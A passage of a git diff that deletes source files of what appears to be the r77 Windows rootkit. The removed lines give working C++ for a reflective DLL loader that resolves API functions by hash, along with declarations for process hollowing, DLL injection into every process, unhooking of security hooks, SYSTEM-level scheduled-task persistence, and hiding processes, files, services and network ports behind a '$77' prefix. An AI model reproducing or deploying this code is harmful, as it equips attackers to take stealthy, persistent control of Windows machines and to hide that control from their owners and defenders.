isNew = TRUE; - - for (DWORD j = 0; j < previousProcessCount; j++) - { - if (currendProcesses[i] == previousProcesses[j]) - { - isNew = FALSE; - break; - } - } - - if (isNew) notifier->Callback(currendProcesses[i]); - } - - RtlCopyMemory(previousProcesses, currendProcesses, sizeof(DWORD) * 10000); - previousProcessCount = currendProcessCount; - } - - Sleep(notifier->Interval); - } - - return 0; -} -PNEW_PROCESS_LISTENER NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback) -{ - PNEW_PROCESS_LISTENER notifier = new NEW_PROCESS_LISTENER(); - notifier->Interval = interval; - notifier->Callback = callback; - - CreateThread(NULL, 0, NewProcessListenerThread, notifier, 0, NULL); - return notifier; -} - -DWORD WINAPI ControlPipeListenerThread(LPVOID parameter) -{ - while (true) - { - HANDLE pipe = CreatePublicNamedPipe(sizeof(LPVOID) == 4 ? CONTROL_PIPE_NAME : CONTROL_PIPE_REDIRECT64_NAME); - while (pipe != INVALID_HANDLE_VALUE) - { - if (ConnectNamedPipe(pipe, NULL)) - { - DWORD controlCode; - DWORD bytesRead; - if (ReadFile(pipe, &controlCode, 4, &bytesRead, NULL) && bytesRead == sizeof(DWORD)) - { - ((CONTROLCALLBACK)parameter)(controlCode, pipe); - } - } - else - { - Sleep(1); - } - - DisconnectNamedPipe(pipe); - } - - Sleep(1); - } - - return 0; -} -VOID ControlPipeListener(CONTROLCALLBACK callback) -{ - CreateThread(NULL, 0, ControlPipeListenerThread, callback, 0, NULL); -} - -#ifdef EXPORT_REFLECTIVE_DLL_MAIN -BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) -{ - // All functions that are used in the reflective loader must be found by searching the PEB. - // Functions, such as memcpy need to be handwritten, because no functions are imported, yet. - // Switch statements cannot be used, because a jump table would be created and the shellcode would not be position independent anymore. - - nt::NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (nt::NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8); - nt::LOADLIBRARYA loadLibraryA = (nt::LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e); - nt::GETPROCADDRESS getProcAddress = (nt::GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa); - nt::VIRTUALALLOC virtualAlloc = (nt::VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54); - - // Safety check: Continue only, if all functions were found. - if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); - - // Allocate memory for the DLL. - LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (allocatedMemory) - { - // Copy optional header to new memory. - libc::memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders); - - // Copy sections to new memory. - PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - libc::memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData); - } - - // Read the import directory, call LoadLibraryA to import dependencies and patch the IAT. - PIMAGE_DATA_DIRECTORY importDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - if (importDirectory->Size) - { - for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++) - { - LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name)); - if (module) - { - PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk); - PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk); - - while (*importAddressTable) - { - if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) - { - PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); - PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD))); - } - else - { - importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable); - *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name); - } - - thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR)); - importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR)); - } - } - } - } - - // Patch relocations. - PIMAGE_DATA_DIRECTORY relocationDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - if (relocationDirectory->Size) - { - UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase); - - for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock)) - { - LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress; - nt::PIMAGE_RELOC relocations = (nt::PIMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION)); - - for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(nt::IMAGE_RELOC); i++) - { - if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase; - else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase; - else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase); - else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase); - } - } - } - - // Get actual main entry point. - nt::DLLMAIN dllMain = (nt::DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint); - - // Flush instruction cache to avoid stale instructions on modified code to be executed. - ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0); - - // Call actual DllMain. - return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL); - } - } - - // If loading failed, DllMain was not executed either. Return FALSE. - return FALSE; -} -#endif - -namespace nt -{ - NTSTATUS NTAPI NtQueryObject(HANDLE handle, nt::OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) - { - return ((nt::NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); - } - NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) - { - // Use NtCreateThreadEx instead of CreateRemoteThread. - // CreateRemoteThread does not work across sessions in Windows 7. - return ((nt::NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); - } - NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) - { - return ((nt::RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); - } - NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) - { - return ((nt::RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); - } -} - -namespace libc -{ - VOID memcpy(LPBYTE dest, LPBYTE src, DWORD size) - { - for (DWORD i = 0; i < size; i++) - { - *dest++ = *src++; - } - } - DWORD strhash(LPCSTR str) - { - DWORD hash = 0; - - while (*str) - { - hash = ROTR(hash, 13) + *str++; - } - - return hash; - } - DWORD strhashi(LPCSTR str, USHORT length) - { - DWORD hash = 0; - - for (USHORT i = 0; i < length; i++) - { - hash = ROTR(hash, 13) + (str[i] >= 'a' ? str[i] - 0x20 : str[i]); - } - - return hash; - } -} \ No newline at end of file diff --git a/src/r77api.h b/src/r77api.h deleted file mode 100644 index 8d52adb..0000000 --- a/src/r77api.h +++ /dev/null @@ -1,793 +0,0 @@ -#pragma warning(disable: 6258) // Using TerminateThread does not allow proper thread clean up. -#pragma warning(disable: 26812) // The enum type is unscoped. Prefer 'enum class' over 'enum' -#pragma comment(lib, "ntdll.lib") -#pragma comment(lib, "shlwapi.lib") -#pragma comment(lib, "taskschd.lib") - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "ntdll.h" - -/// -/// Rotates a value right by a defined number of bits. -/// -#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits))) - -// These preprocessor definitions must match the constants in GlobalAssemblyInfo.cs - -/// -/// Set a random seed. -/// Example: InitializeApi(INITIALIZE_API_SRAND) -/// -#define INITIALIZE_API_SRAND 1 -/// -/// Obtain SeDebugPrivilege, if possible. -/// Example: InitializeApi(INITIALIZE_API_DEBUG_PRIVILEGE) -/// -#define INITIALIZE_API_DEBUG_PRIVILEGE 2 - -/// -/// The prefix for name based hiding (e.g. processes, files, etc...). -/// -#define HIDE_PREFIX L"$77" -/// -/// The length of the hide prefix, excluding the terminating null character. -/// -#define HIDE_PREFIX_LENGTH (sizeof(HIDE_PREFIX) / sizeof(WCHAR) - 1) - -/// -/// r77 header signature: The process is injected with the r77 DLL. -/// -#define R77_SIGNATURE 0x7277 -/// -/// r77 header signature: The process is the r77 service process. -/// -#define R77_SERVICE_SIGNATURE 0x7273 -/// -/// r77 header signature: The process is an r77 helper file (e.g. TestConsole.exe). -/// -#define R77_HELPER_SIGNATURE 0x7268 - -/// -/// Name for the scheduled task that starts the r77 service for 32-bit processes. -/// -#define R77_SERVICE_NAME32 HIDE_PREFIX L"svc32" -/// -/// Name for the scheduled task that starts the r77 service for 64-bit processes. -/// -#define R77_SERVICE_NAME64 HIDE_PREFIX L"svc64" - -/// -/// Name for the named pipe that notifies the 32-bit r77 service about new child processes. -/// -#define CHILD_PROCESS_PIPE_NAME32 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc32" -/// -/// Name for the named pipe that notifies the 64-bit r77 service about new child processes. -/// -#define CHILD_PROCESS_PIPE_NAME64 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc64" - -/// -/// Name for the named pipe that receives commands from external processes. -/// -#define CONTROL_PIPE_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control" -/// -/// Name for the internally used named pipe of the 64-bit r77 service that receives redirected commands from the 32-bit r77 service. -/// Do not use! Always use CONTROL_PIPE_NAME. -/// -#define CONTROL_PIPE_REDIRECT64_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control_redirect64" - -/// -/// Specifies a list of processes that will not be injected. -/// By default, this list includes processes that are known to cause problems. -/// To customize this list, add custom entries and recompile. -/// -#define PROCESS_EXCLUSIONS { L"MSBuild.exe" } -// Example: { L"MSBuild.exe", L"your_app.exe", L"another_app.exe" } - -/// -/// The control code that terminates the r77 service. -/// -#define CONTROL_R77_TERMINATE_SERVICE 0x1001 -/// -/// The control code that uninstalls r77. -/// -#define CONTROL_R77_UNINSTALL 0x1002 -/// -/// The control code that temporarily pauses injection of new processes. -/// -#define CONTROL_R77_PAUSE_INJECTION 0x1003 -/// -/// The control code that resumes injection of new processes. -/// -#define CONTROL_R77_RESUME_INJECTION 0x1004 -/// -/// The control code that injects r77 into a specific process, if it is not yet injected. -/// -#define CONTROL_PROCESSES_INJECT 0x2001 -/// -/// The control code that injects r77 into all processes that are not yet injected. -/// -#define CONTROL_PROCESSES_INJECT_ALL 0x2002 -/// -/// The control code that detaches r77 from a specific process. -/// -#define CONTROL_PROCESSES_DETACH 0x2003 -/// -/// The control code that detaches r77 from all processes. -/// -#define CONTROL_PROCESSES_DETACH_ALL 0x2004 -/// -/// The control code that executes a file using ShellExecute. -/// -#define CONTROL_USER_SHELLEXEC 0x3001 -/// -/// The control code that executes an executable using process hollowing. -/// -#define CONTROL_USER_RUNPE 0x3002 -/// -/// The control code that triggers a BSOD. -/// -#define CONTROL_SYSTEM_BSOD 0x4001 - -/// -/// A callback that notifies about a process ID. -/// -typedef VOID(*PROCESSIDCALLBACK)(DWORD processId); -/// -/// A callback that notifies the r77 service about a command. -/// -typedef VOID(*CONTROLCALLBACK)(DWORD controlCode, HANDLE pipe); - -/// -/// Defines a collection of ULONG values. -/// -typedef struct _INTEGER_LIST -{ - /// - /// The number of ULONG values in this list. - /// - DWORD Count; - /// - /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. - /// - DWORD Capacity; - /// - /// A buffer that stores the ULONG values in this list. - /// - PULONG Values; -} INTEGER_LIST, *PINTEGER_LIST; - -/// -/// Defines a collection of strings. -/// -typedef struct _STRING_LIST -{ - /// - /// The number of strings in this list. - /// - DWORD Count; - /// - /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. - /// - DWORD Capacity; - /// - /// TRUE to treat strings as case insensitive. - /// - BOOL IgnoreCase; - /// - /// A buffer that stores the strings in this list. - /// - LPWSTR *Values; -} STRING_LIST, *PSTRING_LIST; - -/// -/// Defines the r77 header. -/// -typedef struct _R77_PROCESS -{ - /// - /// The process ID of the process. - /// - DWORD ProcessId; - /// - /// The signature (R77_SIGNATURE, R77_SERVICE_SIGNATURE, or R77_HELPER_SIGNATURE). - /// - WORD Signature; - /// - /// A function pointer to Rootkit::Detach in the remote process. This function detaches the injected r77 DLL - /// Applies only, if Signature == R77_SIGNATURE. - /// - DWORD64 DetachAddress; -} R77_PROCESS, *PR77_PROCESS; - -/// -/// Defines the global configuration for r77. -/// -typedef struct _R77_CONFIG -{ - /// - /// A list of file paths to start when windows starts. - /// - PSTRING_LIST StartupFiles; - /// - /// A list of process ID's to hide in addition to processes hidden by the prefix. - /// - PINTEGER_LIST HiddenProcessIds; - /// - /// A list of process names to hide in addition to processes hidden by the prefix. - /// - PSTRING_LIST HiddenProcessNames; - /// - /// A list of file or directory full paths to hide in addition to files and directories hidden by the prefix. - /// - PSTRING_LIST HiddenPaths; - /// - /// A list of service names to hide in addition to services hidden by the prefix. - /// - PSTRING_LIST HiddenServiceNames; - /// - /// A list of local TCP ports to hide. - /// - PINTEGER_LIST HiddenTcpLocalPorts; - /// - /// A list of remote TCP ports to hide. - /// - PINTEGER_LIST HiddenTcpRemotePorts; - /// - /// A list of UDP ports to hide. - /// - PINTEGER_LIST HiddenUdpPorts; -} R77_CONFIG, *PR77_CONFIG; - -/// -/// Defines a listener, that checks for new processes in a given interval. -/// -typedef struct _NEW_PROCESS_LISTENER -{ - /// - /// The interval, in milliseconds, between each enumeration of running processes. - /// - DWORD Interval; - /// - /// The function that is called, when a process is found that was not present in the previous enumeration. - /// - PROCESSIDCALLBACK Callback; -} NEW_PROCESS_LISTENER, *PNEW_PROCESS_LISTENER; - -/// -/// Initializes API features. -/// -/// One or multiple flags to specify what should be initialized, or 0, if nothing should be initialized. -VOID InitializeApi(DWORD flags); -/// -/// Generates a random lowercase hexadecimal string. -/// -/// A buffer of unicode characters to write the string to. -/// The number of characters to write. -VOID RandomString(PWCHAR str, DWORD length); -/// -/// Converts a LPCWSTR into a null terminated LPCSTR. -/// -/// The LPCWSTR to convert. -/// -/// A newly allocated LPCSTR with the converted LPCWSTR. -/// -LPCSTR ConvertStringToAString(LPCWSTR str); -/// -/// Converts a UNICODE_STRING into a null terminated LPWSTR. -/// -/// The UNICODE_STRING to convert. -/// -/// A newly allocated LPWSTR with the converted UNICODE_STRING. -/// -LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str); -/// -/// Determines whether the operating system is a 64-bit operating system. -/// -/// -/// TRUE, if the operating system is a 64-bit operating system; -/// otherwise, FALSE. -/// -BOOL Is64BitOperatingSystem(); -/// -/// Determines whether a process is a 64-bit process. -/// -/// The process ID to check. -/// A pointer to a BOOL value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit); -/// -/// Retrieves a function from a DLL specified by a name. -/// -/// The name of the DLL to retrieve the function from. -/// The name of the function to retrieve. -/// -/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name. -/// -LPVOID GetFunction(LPCSTR dll, LPCSTR function); -/// -/// Gets the integrity level of a process. -/// -/// The process ID to check. -/// A pointer to a DWORD value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel); -/// -/// Gets the filename or the full path of a process. -/// -/// The process ID to retrieve the filename or full path from. -/// TRUE to return the full path, FALSE to return only the filename. -/// A buffer to write the filename or full path to. -/// The length of the fileName buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength); -/// -/// Gets the username of a process. -/// -/// The handle to the process to check. -/// A buffer of unicode characters to write the result to. -/// The length of the result buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength); -/// -/// Obtains the SeDebugPrivilege. -/// -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL EnabledDebugPrivilege(); -/// -/// Gets an executable resource. -/// -/// The identifier of the resource. -/// The type identifier of the resource. -/// A pointer that is set to a newly allocated buffer with the resource data. -/// A pointer to a DWORD value to write the size of the returned buffer to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size); -/// -/// Retrieves the full path from a file handle. -/// -/// A file handle to retrieve the path from. -/// A buffer to write the path to. -/// The length of the fileName buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength); -/// -/// Reads the contents of a file. -/// -/// The path to the file to read. -/// A pointer that is set to a newly allocated buffer with the file contents. -/// A pointer to a DWORD value to write the size of the returned buffer to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size); -/// -/// Reads a null terminated LPCWSTR from the specified file. -/// -/// A file handle to read the string from. -/// The buffer to write the string to. -/// The length of the string buffer. -/// -/// TRUE, if this function succeeds; -/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator. -/// -BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length); -/// -/// Writes a buffer to a file. -/// -/// The path to the file to create. -/// A buffer to write to the file. -/// The number of bytes to write. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size); -/// -/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it. -/// -/// A buffer to write to the file. -/// The number of bytes to write. -/// The extension to append to the random filename, excluding the dot. -/// A buffer of unicode characters to write the path of the created file to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath); -/// -/// Executes a file and waits for the process to exit. -/// -/// The path to the file to execute. -/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed. -/// -/// TRUE, if the file was successfully executed; -/// otherwise, FALSE. -/// If the file was executed, but deletion failed, TRUE is returned. -/// -BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile); -/// -/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in. -/// -/// The name of the scheduled task. -/// The working directory of the scheduled task. -/// The application name of the scheduled task. -/// The commandline arguments to pass to the created process. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments); -/// -/// Starts a scheduled task. -/// -/// The name of the scheduled task. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL RunScheduledTask(LPCWSTR name); -/// -/// Deletes a scheduled task. -/// -/// The name of the scheduled task. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL DeleteScheduledTask(LPCWSTR name); -/// -/// Creates a named pipe that is accessible by every process. -/// -/// The name of the named pipe to be created. -/// -/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed. -/// -HANDLE CreatePublicNamedPipe(LPCWSTR name); - -/// -/// Determines the bitness of an executable file. -/// -/// A buffer containing the executable file. -/// A pointer to a BOOL value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit); -/// -/// Retrieves a function pointer from the PEB. -/// -/// The hash of the module name. The module must be loaded. -/// The hash of the function name. -/// -/// A pointer to the function, or NULL, if the function could not be found. -/// -LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash); -/// -/// Creates a new process using the process hollowing technique. -/// The bitness of the current process, the created process and the payload must match. -/// -/// The target executable path. This can be any existing file with the same bitness as the current process and the payload. -/// The actual executable that is the payload of the new process, regardless of the path argument. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL RunPE(LPCWSTR path, LPBYTE payload); -/// -/// Injects a DLL using reflective DLL injection. -/// The DLL must export a function called "ReflectiveDllMain". -/// The bitness of the target process must match that of the current process. -/// The integrity level of the target process must be at least medium. -/// The process must not be critical. -/// -/// The process to inject the DLL in. -/// A buffer with the DLL file. -/// dllSize The size of the DLL file. -/// TRUE to not wait for DllMain to return. If this parameter is set, this function does not return FALSE, if DllMain returned FALSE. -/// -/// TRUE, if the DLL was successfully injected and DllMain returned TRUE; -/// otherwise, FALSE. -/// -BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast); -/// -/// Gets the file offset of an exported function from an executable file. -/// -/// A buffer with the executable file. -/// The name of the exported function. -/// -/// The file offset of the exported function; or 0, if this function fails. -/// -DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName); -/// -/// Converts a RVA to a file offset. -/// -/// A buffer with the executable file. -/// The RVA to convert. -/// -/// The file offset converted from the specified RVA; or 0, if this function fails. -/// -DWORD RvaToOffset(LPBYTE image, DWORD rva); -/// -/// Unhooks a DLL by replacing the .text section with the original DLL section. -/// -/// The name of the DLL to unhook. -VOID UnhookDll(LPCWSTR name); -/// -/// Determines whether the process is on the process exclusion list and should not be injected. -/// -/// The process ID to check. -/// -/// TRUE, if the process should not be injected; -/// otherwise, FALSE. -/// -BOOL IsProcessExcluded(DWORD processId); - -/// -/// Creates a new INTEGER_LIST. -/// -/// -/// A pointer to the newly created INTEGER_LIST structure. -/// -PINTEGER_LIST CreateIntegerList(); -/// -/// Loads DWORD values from the specified registry key into the specified INTEGER_LIST structure. -/// Values that are already in the list are not added. -/// -/// The INTEGER_LIST structure to add the values to. -/// The registry key to read DWORD values from. -VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key); -/// -/// Deletes the specified INTEGER_LIST structure. -/// -/// The INTEGER_LIST structure to delete. -VOID DeleteIntegerList(PINTEGER_LIST list); -/// -/// Adds a ULONG value to the specified INTEGER_LIST. -/// -/// The INTEGER_LIST structure to add the ULONG value to. -/// The ULONG value to add to the list. -VOID IntegerListAdd(PINTEGER_LIST list, ULONG value); -/// -/// Determines whether the ULONG value is in the specified INTEGER_LIST. -/// -/// The INTEGER_LIST structure to search. -/// The ULONG value to check. -/// -/// TRUE, if the specified ULONG value is in the specified INTEGER_LIST; -/// otherwise, FALSE. -/// -BOOL IntegerListContains(PINTEGER_LIST list, ULONG value); -/// -/// Compares two INTEGER_LIST structures for equality. -/// -/// The first INTEGER_LIST structure. -/// The second INTEGER_LIST structure. -/// -/// TRUE, if both INTEGER_LIST structures are equal; -/// otherwise, FALSE. -/// -BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB); - -/// -/// Creates a new STRING_LIST. -/// -/// TRUE to treat strings as case insensitive. -/// -/// A pointer to the newly created STRING_LIST structure. -/// -PSTRING_LIST CreateStringList(BOOL ignoreCase); -/// -/// Loads REG_SZ values from the specified registry key into the specified STRING_LIST structure. -/// Strings that are already in the list are not added. -/// -/// The STRING_LIST structure to add the strings to. -/// The registry key to read REG_SZ values from. -/// The maximum length of REG_SZ values that are read from the registry key. -VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength); -/// -/// Deletes the specified STRING_LIST structure. -/// -/// The STRING_LIST structure to delete. -VOID DeleteStringList(PSTRING_LIST list); -/// -/// Adds a string to the specified STRING_LIST. -/// -/// The STRING_LIST structure to add the string to. -/// The string to add to the list. -VOID StringListAdd(PSTRING_LIST list, LPCWSTR value); -/// -/// Determines whether the string is in the specified STRING_LIST. -/// -/// The STRING_LIST structure to search. -/// The string to check. -/// -/// TRUE, if the specified string is in the specified STRING_LIST; -/// otherwise, FALSE. -/// -BOOL StringListContains(PSTRING_LIST list, LPCWSTR value); -/// -/// Compares two STRING_LIST structures for equality. -/// -/// The first STRING_LIST structure. -/// The second STRING_LIST structure. -/// -/// TRUE, if both STRING_LIST structures are equal; -/// otherwise, FALSE. -/// -BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB); - -/// -/// Retrieves a list of all processes where an r77 header is present. -/// The result includes only processes where the bitness matches that of the current process. -/// -/// A buffer with R77_PROCESS structures to write the result to. -/// A DWORD pointer with the number of structures in the buffer. The number of returned entries is written to this value. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count); -/// -/// Detaches r77 from the specified process. -/// The bitness of the target process must match that of the current process. -/// -/// The process to detach r77 from. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL DetachInjectedProcess(const R77_PROCESS &r77Process); -/// -/// Detaches r77 from the specified process. -/// The bitness of the target process must match that of the current process. -/// -/// The process ID to detach r77 from. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL DetachInjectedProcess(DWORD processId); -/// -/// Detaches r77 from all running processes. -/// Only processes where the bitness matches that of the current process are detached. -/// -VOID DetachAllInjectedProcesses(); -/// -/// Terminates all r77 service processes. Typically, there are two active r77 service processes, one 32-bit and one 64-bit process. -/// Only processes where the bitness matches that of the current process are terminated. -/// -/// -/// A process ID that should not be terminated. Use -1 to not exclude any processes. -/// -VOID TerminateR77Service(DWORD excludedProcessId); - -/// -/// Loads the global configuration for r77. -/// -/// -/// A newly allocated R77_CONFIG structure. -/// -PR77_CONFIG LoadR77Config(); -/// -/// Deletes the specified R77_CONFIG structure. -/// -/// The R77_CONFIG structure to delete. -VOID DeleteR77Config(PR77_CONFIG config); -/// -/// Compares two R77_CONFIG structures for equality. -/// -/// The first R77_CONFIG structure. -/// The second R77_CONFIG structure. -/// -/// TRUE, if both R77_CONFIG structures are equal; -/// otherwise, FALSE. -/// -BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB); -/// -/// Creates the r77 configuration registry key with full access to all users. -/// -/// The newly created HKEY. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL InstallR77Config(PHKEY key); -/// -/// Deletes the r77 configuration from the registry. -/// -VOID UninstallR77Config(); - -/// -/// Creates a named pipe that listens for notifications about created child processes. -/// -/// The function that is called, when the named pipe received a process ID. -VOID ChildProcessListener(PROCESSIDCALLBACK callback); -/// -/// Notifies the child process listener about a new child process. When this function returns, the child process has been injected. -/// -/// The process ID of the new process. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL HookChildProcess(DWORD processId); - -/// -/// Creates a new process listener, that checks for new processes in a given interval. -/// -/// The interval, in milliseconds, between each enumeration of running processes. -/// The function that is called, when a process is found that was not present in the previous enumeration. -/// -/// A pointer to the newly created NEW_PROCESS_LISTENER structure. -/// -PNEW_PROCESS_LISTENER NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback); - -/// -/// Creates a new listener for the control pipe that receives commands from any process. -/// -/// The function that is called, when a command is received by another 